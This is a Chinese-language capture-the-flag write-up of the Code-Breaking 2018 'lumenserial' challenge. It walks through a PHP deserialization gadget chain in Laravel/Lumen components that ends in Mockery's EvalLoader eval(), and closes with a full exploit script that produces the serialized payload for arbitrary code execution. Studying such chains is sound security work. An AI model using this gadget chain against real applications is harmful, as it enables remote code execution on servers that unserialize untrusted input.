

昨天p牛在小密圈发布了Code-Breaking 2018 lumenserial题目的官方反序列化payload，在这里简单分析一下。

首先入口点利用的依然是类Illuminate\Broadcasting\PendingBroadcast的__destruct方法。

```
54      */
55      public function __destruct()
56      {
57          $this->events->dispatch($this->event); event: Illuminate\Broadcasting\BroadcastEvent events: Illuminate\Bus\Dispatcher
58      }
59  }
60
```

接着调用的是类Illuminate\Bus\Dispatcher的dispatch方法

```
70      public function dispatch($command) $command: {event => null, connection => Mockery\Genera
71      {
72          if ($this->queueResolver && $this->commandShouldBeQueued($command)) { $command: {event
73              return $this->dispatchToQueue($command);
74          }
75
76          return $this->dispatchNow($command);
77      }
```

这里需要进入\$this->dispatchToQueue，因此需要满足if条件，第一个条件就不用说了，跟进\$this->commandShouldBeQueued

```
132      */
133      protected function commandShouldBeQueued($command)
134      {
135          return $command instanceof ShouldQueue;
136      }
137
```

需要\$command也就是\$this->event实现了ShouldQueue接口。

我们可以通过全局搜索来找，具体使用哪个类可能还需要根据后面的利用条件来选择，p牛这里用的是Illuminate\Broadcasting\BroadcastEvent

在路径中查找 ☐ 匹配(C) ☐ 词(O) ☐ 正则(X) ? ☒ 文件掩码: (K) *.php 4 个匹配 in 4 个文件

在项目中(P) 模块(M) 目录(D) 范围(S) All Places

| | | |
|--------------------------|------------------------|-----------------------|
| abstract class Job | implements ShouldQueue | app/Jobs/Job 10 |
| class CallQueuedListener | implements ShouldQueue | CallQueuedListener 10 |
| class CallQueuedClosure | implements ShouldQueue | CallQueuedClosure 11 |
| class BroadcastEvent | implements ShouldQueue | BroadcastEvent 13 |

```
vendor/illuminate/broadcasting/BroadcastEvent.php
1 use Illuminate\Support\Arr;
2
3 use Illuminate\Bus\Queueable;
4 use Illuminate\Contracts\Queue\ShouldQueue;
5 use Illuminate\Contracts\Support\Arrayable;
6 use Illuminate\Contracts\Broadcasting\Broadcaster;
7
8 class BroadcastEvent implements ShouldQueue
9 {
10     use Queueable;
11
12     /**
13      * The event instance.
14      *
15      * @var mixed
16      */
17     public $event;
```

在查找窗口中打开

继续跟进 `$this->dispatchToQueue($command)`，可以看到这里有一个任意方法调用。方法可控，参数 `$connection` 等于 `$command->connection`

```
46 public function dispatchToQueue($command) $command: {event => null, connection => Mockery\Generator\MockDefinition, queue => null, cha
47 {
48     $connection = $command->connection ?? null; $command: {event => null, connection => Mockery\Generator\MockDefinition, queue => null
49
50     $queue = call_user_func($this->queueResolver, $connection); queueResolver: [2]
51
52     if (! $queue instanceof Queue) {
53         throw new RuntimeException( message: 'Queue resolver did not return a Queue implementation.');
```

这里 `call_user_func` 利用的是类 `Mockery\Loader\EvalLoader` 的 `load` 方法

```

21     namespace Mockery\Loader;
22
23     use Mockery\Generator\MockDefinition;
24     use Mockery\Loader\Loader;
25
26     class EvalLoader implements Loader
27     {
28     public function load(MockDefinition $definition)
29     {
30         if (class_exists($definition->getClassName(), autoload: false)) {
31             return;
32         }
33
34         eval(">" . $definition->getCode());
35     }
36 }
37

```

可以看到下面的eval可以利用，但我们需要先绕过if条件，也就是让class_exists(\$definition->getClassName(), false)返回false。这里的\$definition也就是\$this->event->connection的类型必须是Mockery\Generator\MockDefinition类的对象。

```

<?php
namespace Mockery\Generator;

class MockDefinition
{
    protected $config;
    protected $code;

    public function __construct(MockConfiguration $config, $code)
    {
        if (!$config->getName()) {
            throw new \InvalidArgumentException("MockConfiguration must contain a name");
        }
        $this->config = $config;
        $this->code = $code;
    }

    public function getConfig()
    {
        return $this->config;
    }

    public function getClassName()
    {
        return $this->config->getName();
    }

    public function getCode()
    {
        return $this->code;
    }
}

```

这里的getClassName方法返回的是\$this->config->getName()，我们只需要找到一个含有getName方法且返回值可控的类，让其返回一个不存在的类名即可。类Mockery\Generator\MockConfiguration

```

411     public function getName()
412     {
413         return $this->name; name: "abcdefg"
414     }

```

最后进入eval(">" . \$definition->getCode());, getCode的返回值我们依然可控。

```

47     public function getCode()
48     {
49         return $this->code;
50     }
51 }

```

最终实现任意代码执行。

exp:

```

<?php
namespace Illuminate\Broadcasting{
    class PendingBroadcast
    {
        protected $event;
        protected $events;

        public function __construct($events,$event)
        {
            $this->events = $events;
            $this->event = $event;
        }
    }
}

```

```

namespace Illuminate\Bus{
    class Dispatcher
    {
        protected $queueResolver;

        public function __construct($queueResolver)
        {
            $this->queueResolver = $queueResolver;
        }
    }
}

```

```

namespace Illuminate\Broadcasting{
    class BroadcastEvent
    {
        public $connection;

        public function __construct($connection)
        {
            $this->connection = $connection;
        }
    }
}

```

```

namespace Mockery\Generator{
    class MockDefinition

```

```
{
    protected $config;
    protected $code = '<?php phpinfo();?>';

    public function __construct($config)
    {
        $this->config = $config;
    }
}

namespace Mockery\Generator{
    class MockConfiguration
    {
        protected $name = '1234';
    }
}

namespace Mockery\Loader{
    class EvalLoader
    {
        public function load(MockDefinition $definition)
        {

        }
    }
}

namespace{
    $Mockery = new Mockery\Loader\EvalLoader();
    $queueResolver = array($Mockery, "load");
    $MockConfiguration = new Mockery\Generator\MockConfiguration();
    $MockDefinition = new Mockery\Generator\MockDefinition($MockConfiguration);
    $BroadcastEvent = new Illuminate\Broadcasting\BroadcastEvent($MockDefinition);
    $Dispatcher = new Illuminate\Bus\Dispatcher($queueResolver);
    $PendingBroadcast = new Illuminate\Broadcasting\PendingBroadcast($Dispatcher,$BroadcastEvent);
    echo urlencode(serialize($PendingBroadcast));
}
?>
```

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